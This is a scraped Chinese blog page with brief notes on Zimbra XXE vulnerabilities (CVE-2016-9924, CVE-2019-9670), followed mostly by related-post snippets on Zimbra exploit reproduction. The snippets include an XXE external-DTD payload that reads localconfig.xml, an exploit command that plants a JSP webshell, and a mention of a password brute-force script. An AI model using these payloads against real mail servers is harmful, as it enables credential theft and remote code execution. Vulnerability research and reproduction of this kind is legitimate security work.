Zimbra漏洞

最新推荐文章于 2025-08-07 18:25:05 发布
最新推荐文章于 2025-08-07 18:25:05 发布
阅读量1.7k 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： java 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/caiqiiqi/article/details/99698124
本文深入探讨了Zimbra平台上的XXE（XML外部实体）漏洞，包括CVE-2016-9924、CVE-2018-20160和CVE-2019-9670等关键案例。分析了漏洞出现的原因，特别是在处理无效XML请求时的弱点。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

参考：
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
https://nvd.nist.gov/vuln/detail/CVE-2019-9670
https://nvd.nist.gov/vuln/detail/CVE-2016-9924

XXE

CVE-2016-9924, CVE-2018-20160, CVE-2019-9670
Zimbra使用大量的xml，所以可能导致很多xxe。

最早的是
漏洞出现在：SoapEngine.chooseFaultProtocolFromBadXml()，在处理invalid的XML请求时，

更近一点的版本的漏洞就是CVE-2019-9670

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
4SecNet团队专栏
04-19 6546
此漏洞的主要利用手法是通过。符号没有进行处理，就会导致上述类型的攻击，攻击者在发送上述类型的数据包的时候可以新建一个。的内容,这样一来处理数据会很方便，但同时也会有巨大的安全隐患:如果把目标。获取，其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的。，在解析的过程中遇到实体的引用会直接获取相应的内容，即这里碰到。函数的处理流程，在整体的处理过程中对于请求的数据包，只针对。两个字段进行的解析，在解析的过程中会判断获取到的邮箱地址和。免费、简单，已经获得了广泛的支持，方便大众的使用。
SCANV团队：警惕Zimbra高危安全漏洞
爱尖刀科技媒体 - 曲子龙
12-10 1258
【警惕Zimbra高危安全漏洞】近日，scanv团队监测到国外安全研究者在exploit-db网站上披露的关于Zimbra高危“0day”安全漏洞及攻击代码，攻击者利用漏洞可读取邮件服务器上的任意文件，通过获取到的LDAP信息，即可得到所有用户的密码HASH散列。   用户密码采用OpenLADP SHA算法，通过GPU运算即可暴力破解，该漏洞将为企业或机构带来非常严重的数据泄露风险。攻击者还
开源邮件平台Zimbra 出现新漏洞，用户登录凭据可被盗
smellycat000的专栏
06-15 2121
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士研究人员发现 Zimbra 邮件套件中又出现一个高危漏洞 (CVE-2022-27924)，如遭成功利用可导致未认证攻击者窃取用户明文密码且无需任何用户交互。研究员在报告中指出，“通过对受害者邮箱后续的访问权限，攻击者可能提升对目标组织机构的访问权限，并获得对多种内部服务的访问权限，窃取高度敏感信息。”CVE-2022-...
TA473 使用 Zimbra 漏洞攻击欧洲与北约的邮件系统
wangluoanquan111的博客
08-03 3618
研究人员跟踪发现了部分可能是自定义 CSRF JavaScript 代码的实例，这些代码通过 CVE-2022-27926 来进行攻击。TA473 将其作为URL 超链接嵌入钓鱼邮件的正文中，这些 CSRF JavaScript 代码会由存在漏洞的邮件服务器执行。这些 JavaScript代码复制并依赖于模拟本机 Web 邮件门户的 JavaScript 代码，以返回攻击目标的用户名、密码与 CSRF Token 等关键 Web请求详细信息。
严重 Zimbra RCE 漏洞遭大规模利用（CVE-2024-45519）
网络研究观
10-02 2407
攻击者正在积极利用 CVE-2024-45519，这是一个严重的 Zimbra 漏洞，该漏洞允许他们在易受攻击的安装上执行任意命令。
zimbra rce 漏洞复现
weixin_40709439的博客
05-12 7503
本地搭建了好久，虚拟机突然蹦了，。。。 上钟馗之眼和shodan找了个目标 第一步，利用了CVE-2019-9670 XXE漏洞来读取配置文件 Zimbra配置文件位置为/conf/localconfig.xml 根据《A Saga of Code Executions on Zimbra》RCE漏洞分析 https://blog.youkuaiyun.com/fnmsd/article/details/88...
Zimbra CVE-2019-9670 XXE + CVE-2019-9621 SSRF 漏洞复现
部分学习记录
03-12 3344
炒冷饭复现：cve-2019-9670 xxe + cve-2019-9621 ssrf
Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行
勤能补拙
04-06 7369
前言 原文地址：https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html 参考文档：https://blog.youkuaiyun.com/fnmsd/article/details/88657083 历史版本存在的RCE（远程代码执行）漏洞： CVE-2013-7091本地文件披露漏洞，影响范围为8.0.2以下版本...
Zimbra SSRF+Memcached+反序列化漏洞利用复现
fnmsd的博客
04-12 8872
前言 之前懒了一下，没复现memcached反序列化的部分。 在看本文之前请先看完上一篇复现： https://blog.youkuaiyun.com/fnmsd/article/details/88657083 本篇复现基于8.7.11进行复现，就是官网上直接下的。 纯技术研究，请勿使用在非法用途。 环境搭建 直接用docker,https://hub.docker.com/r/jorgedlcruz/zi...
zimbra漏洞利用
kzyyx的博客
08-31 4658
记一次渗透测试zimbra漏洞利用 当时通过界面判断判断出开发利用zimbra搭建的网站。zimbra又存在多个漏洞。 1.首先通过利用了CVE-2019-9670 XXE漏洞来尝试读取/etc/passwd 读取文件成功，证明此漏洞可以被成功利用。 2.接下来读取zimbra的配置文件获取密码，因为配置文件时xml文件，因此需要使用外部dtd获取信息。 请求接口：Post:/Autodiscover/Autodiscover.xml Zimbra配置文件位置为/conf/localconfig.xml 在
zimbra邮箱在线口令爆破脚本
02-23
利用python编写的脚本，用于zimbra邮箱服务器的用户口令在线爆破。
Zimbra 小于 8.8.11版本 XXE GetShell EXP.rar
05-08
Zimbra邮件系统<8.8.11 XXE SSRF远程代码执行漏洞GetShell 漏洞描述： 漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后，通过文件上传在服务端执行任意代码，威胁程度极高。当Zimbra服务端打来Memcached缓存服务是，可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用，所以其攻击场景受到限制。 影响版本： ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说： 1. Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。 2. Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。
zimbra_poc:Zimbra XXE + SSRF + UPC Poc
03-16
Zimbra POC 用法 需要自己在源代码中修改dtd_url为如下内容的dtd地址： <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start " <![CDATA[ "> <!ENTITY % end " ]]> "> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> 使用方法： python zimbra_poc.py https://target.com POC验证验证使用，不要用于非法用途。 参考资料
Zimbra Domain Admin:Zimbra开源版的Zimbra Domain Admin-开源
05-08
Zimbra开源版的Zimbra Domain Admin。 从Zimbra Soap API开发PHP Web应用程序。 Zimbra Domain Admin可以列出，添加，删除和更改其用户域的密码，而无需Zimbra全局管理员权限。 PHP框架：Laravel 5.8软件版本PHP 7.1.3+ Zimbra 8+ Bootstrap 4 Star Admin模板
CVE-2018-6882 Zimbra邮件系统XSS漏洞利用
weixin_30343157的博客
05-08 1650
CVE-2018-6882是一个存储型XSS漏洞，利用该漏洞可获取目标邮箱的收件箱、发件箱等邮件内容。也可以给目标邮箱绑定一个“辅助邮箱”，当目标邮箱收到新邮件时“辅助邮箱”也会收到相同的邮件，实现对目标邮箱的实时监控。 漏洞细节请大家参考这篇文章：https://www.securify.nl/advisory/SFY20180101/cross-site-scripting-vu...
Zimbra漏洞复现
最新发布
Ryana2的博客
08-07 1066
3.生成含有木马的.jsp文件，命名为MM.jsp，语句为：python3 zimbra.py -u https://192.168.42.131 -d http://192.168.42.128:8686/exp.dtd -n Hh -f MM.jsp。扫描该站点目录：dirsearch -u https://192.168.42.131 ，看看有什么有用的信息，发现没什么有用信息。2.将抓到的包放入Repeater，并修改包内容，发现内容通过XXE漏洞被读出。尝试利用CVE-2019-9670漏洞。
黑客正在利用Zimbra ZCS中的未修复RCE漏洞
smellycat000的专栏
10-10 1035
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士Zimbra 公司的企业协作软件和邮件平台中存在一个严重的远程代码执行漏洞且正遭活跃利用，目前尚不存在补丁。该漏洞的编号是CVE-2022-41352。该漏洞的CVSS评分为9.8，可导致攻击者上传任意文件并在受影响安装程序上执行恶意操作。网络安全公司Rapid7 在分析文章中指出，“该漏洞是因为Zimbra的反病毒引擎 Amavis扫描进站邮件...
CVE-2022-27925Zimbra Collaboration存在路径穿越漏洞最终导致RCE
include_voidmain的博客
07-07 3446
CVE-2022-27925Zimbra Collaboration存在路径穿越漏洞最终导致RCE
Zimbra 远程代码执行漏洞(CVE-2019-9670)环境搭建
4SecNet团队专栏
04-12 1845
Zimbra是著名的开源系统，提供了一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值